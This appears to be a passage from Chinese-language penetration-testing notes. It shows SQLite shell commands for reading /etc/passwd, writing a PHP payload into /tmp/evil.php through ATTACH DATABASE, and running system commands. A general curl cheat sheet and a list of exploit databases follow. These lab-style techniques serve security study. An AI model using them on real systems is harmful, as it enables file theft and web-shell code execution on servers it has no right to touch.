csv Comma-separated values
column Left-aligned columns. (See .width)
html HTML <table> code
insert SQL insert statements for TABLE
line One value per line
list Values delimited by .separator strings
tabs Tab-separated values
tcl TCL list elements
.nullvalue STRING Use STRING in place of NULL values
.once FILENAME Output for the next SQL command only to FILENAME
.open ?FILENAME? Close existing database and reopen FILENAME
.output ?FILENAME? Send output to FILENAME or stdout
.print STRING... Print literal STRING
.prompt MAIN CONTINUE Replace the standard prompts
.quit Exit this program
.read FILENAME Execute SQL in FILENAME
.restore ?DB? FILE Restore content of DB (default "main") from FILE
.save FILE Write in-memory database into FILE
.scanstats on|off Turn sqlite3_stmt_scanstatus() metrics on or off
.schema ?TABLE? Show the CREATE statements
If TABLE specified, only show tables matching
LIKE pattern TABLE.
.separator COL ?ROW? Change the column separator and optionally the row
separator for both the output mode and .import
.shell CMD ARGS... Run CMD ARGS... in a system shell
.show Show the current values for various settings
.stats on|off Turn stats on or off
.system CMD ARGS... Run CMD ARGS... in a system shell
.tables ?TABLE? List names of tables
If TABLE specified, only list tables matching
LIKE pattern TABLE.
.timeout MS Try opening locked tables for MS milliseconds
.timer on|off Turn SQL timer on or off
.trace FILE|off Output each SQL statement as it is run
.vfsname ?AUX? Print the name of the VFS stack
.width NUM1 NUM2 ... Set column widths for "column" mode
Negative values right-justify

####生成####

常见的sqlite功能(注释,concate,substr,十六进制,引用,….)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sqlite> select 1; -- comments
1
sqlite> select 'hello ' || 'world';
hello world
sqlite> select substr('hello world', 1, 3);
hel
sqlite> select hex('a');
61
sqlite> select quote(hex('a'));
'61'
sqlite> PRAGMA database_list;
0|main|/tmp/evil.php
2|pwn|/tmp/evil.php
sqlite> PRAGMA temp_store_directory = '/tmp';
sqlite>

####读文件####

1
2
3
4
5
6
7
8
9
10
11
12
13
sqlite>
sqlite> CREATE TABLE pwn.data (data TEXT);
sqlite> .tables
data pwn.data
sqlite> .import /etc/passwd data
sqlite> select * from data;
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
......
......
sqlite> .tables
data pwn.data pwn.shell shell
sqlite> DROP TABLE pwn.shell;

####写文件####

1
2
3
4
5
6
7
8
9
10
11
12
13
sqlite> ATTACH DATABASE '/tmp/evil.php' as pwn;
sqlite> CREATE TABLE pwn.shell (code TEXT);
sqlite> INSERT INTO pwn.shell (code) VALUES ('<?php phpinfo();?>');
sqlite> .quit
┌─[✗]─[lab@core]─[~/share/pentestlab/Darknet]
└──╼ file /tmp/evil.php
/tmp/evil.php: SQLite 3.x database
┌─[lab@core]─[~/share/pentestlab/Darknet]
└──╼ strings /tmp/evil.php
SQLite format 3
Itableshellshell
CREATE TABLE shell (code TEXT)
1<?php phpinfo();?>

####命令执行####

1
2
3
4
sqlite> .shell id
uid=1000(lab) gid=1000(lab) groups=1000(lab)
sqlite> .system id
uid=1000(lab) gid=1000(lab) groups=1000(lab)

####参考链接####

http://www.tutorialspoint.com/sqlite/
http://atta.cked.me/home/sqlite3injectioncheatsheet


curl_hacking


####常见操作####

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
curl http://curl.haxx.se
curl http://site.{one,two,three}.com
curl ftp://ftp.numericals.com/file[1-100].txt
curl ftp://ftp.numericals.com/file[001-100].txt
curl ftp://ftp.letters.com/file[a-z].txt

curl http://any.org/archive[1996-1999]/vol[1-4]/part{a,b,c}.html

curl http://www.numericals.com/file[1-100:10].txt
curl http://www.letters.com/file[a-z:2].txt

curl -o index.html http://curl.haxx.se/
curl http://curl.haxx.se/ > index.html

curl -# http://curl.haxx.se/ > index.html

curl -0 http://curl.haxx.se/
curl --http1.1 http://curl.haxx.se/
curl --http2 http://curl.haxx.se/

curl -1 http://curl.haxx.se/
curl --tlsv1 http://curl.haxx.se/

curl -2 http://curl.haxx.se/
curl --sslv2 http://curl.haxx.se/

curl -3 http://curl.haxx.se/
curl --sslv3 http://curl.haxx.se/

curl -4 http://curl.haxx.se/
curl --ipv4 http://curl.haxx.se/

curl -6 http://curl.haxx.se/
curl --ipv6 http://curl.haxx.se/

curl -A "wget/1.0" http://curl.haxx.se/
curl --user-agent "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" [URL]
curl --user-agent "Mozilla/4.73 [en] (X11; U; Linux 2.2.15 i686)" [URL]

curl -b "phpsession=Testtest" http://demo.com/
curl --cookie "name=Daniel" http://curl.haxx.se

curl -c cookies.txt http://curl.haxx.se/
curl --cookie-jar cookies.txt http://curl.haxx.se

curl -d "username=admin&password=pass" http://curl.haxx.se/
curl --data "birthyear=1905&press=%20OK%20" http://curl.haxx.se/when.cgi
curl --data-urlencode "name=I am Daniel" http://curl.haxx.se
curl --data "<xml>" --header "Content-Type: text/xml" --request PROPFIND url.com

curl -e "http://referer" http://demo.com/
curl --referer http://curl.haxx.see http://curl.haxx.se

curl --header "Host:" http://curl.haxx.se
curl --header "Destination: http://nowhere" http://curl.haxx.se

curl -D - http://curl.haxx.se/
curl --dump-header headers_and_cookies http://curl.haxx.se

curl -L http://github.com/
curl --location http://curl.haxx.se

curl --dns-servers 8.8.8.8 http://demo.com/

curl --trace-ascii debugdump.txt http://curl.haxx.se/
curl --form upload=@localfilename --form press=OK [URL]
curl --upload-file uploadfile http://curl.haxx.se/receive.cgi
curl --user name:password http://curl.haxx.se
curl --proxy-user proxyuser:proxypassword curl.haxx.se

curl --cert mycert.pem https://secure.example.com

####参考链接####

$ man curl
http://curl.haxx.se/docs/manual.html
http://curl.haxx.se/docs/httpscripting.html
http://httpkit.com/resources/HTTP-from-the-Command-Line/

参考链接

  1. http://www.exploit-db.com/
  2. http://www.cvedetails.com/
  3. http://packetstormsecurity.com/
  4. http://www.securityfocus.com/bid
  5. http://nvd.nist.gov/
  6. http://osvdb.org/
  7. http://cve.mitre.org/
  8. http://sec.jetlib.com/
  9. http://0day.today/
  10. https://www.seebug.org/
  11. https://www.rapid7.com/db/
  12. http://zerodayinitiative.com/advisories/published/
  13. http://exploitsearch.net/
  14. http://nvd.nist.gov/download/nvd-rss-analyzed.xml
  15. http://www.intelligentexploit.com/
  16. https://wpvulndb.com/
  17. http://www.wordpressexploit.com/
  18. http://www.drupalexploit.com/
  19. http://www.openwall.com/lists/oss-security/
  20. http://exploitsearch.net/
  21. https://www.vulnerability-lab.com/
CATALOG
  1. 1. 漏洞评估
    1. 1.1. 数据库评估
      1. 1.1.1. mongodb
      2. 1.1.2. mysql
      3. 1.1.3. postgresql
      4. 1.1.4. sqlite
  2. 2. 参考链接